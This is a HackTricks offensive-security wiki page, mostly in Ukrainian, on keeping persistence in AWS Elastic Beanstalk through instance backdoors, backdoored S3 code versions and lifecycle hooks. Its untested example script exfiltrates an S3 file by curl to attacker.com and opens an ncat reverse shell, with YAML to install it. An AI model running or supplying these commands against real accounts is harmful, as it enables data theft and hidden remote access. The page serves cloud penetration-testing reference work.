AWS - Elastic Beanstalk Persistence

Support HackTricks

Elastic Beanstalk

For more information check:

Persistence in Instance

Щоб підтримувати стійкість всередині облікового запису AWS, деякі механізми стійкості можуть бути впроваджені всередині інстансу (cron job, ssh key...), щоб зловмисник міг отримати доступ до нього та вкрасти облікові дані IAM ролі з сервісу метаданих.

Backdoor in Version

Зловмисник може вставити бекдор у код всередині репозиторію S3, щоб він завжди виконував свій бекдор і очікуваний код.

New backdoored version

Замість зміни коду в актуальній версії, зловмисник може розгорнути нову версію програми з бекдором.

Abusing Custom Resource Lifecycle Hooks

TODO: Test

Elastic Beanstalk надає хуки життєвого циклу, які дозволяють вам виконувати користувацькі скрипти під час надання та завершення інстансу. Зловмисник може налаштувати хук життєвого циклу для періодичного виконання скрипту, який ексфільтрує дані або підтримує доступ до облікового запису AWS.

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
Підтримайте HackTricks

Last updated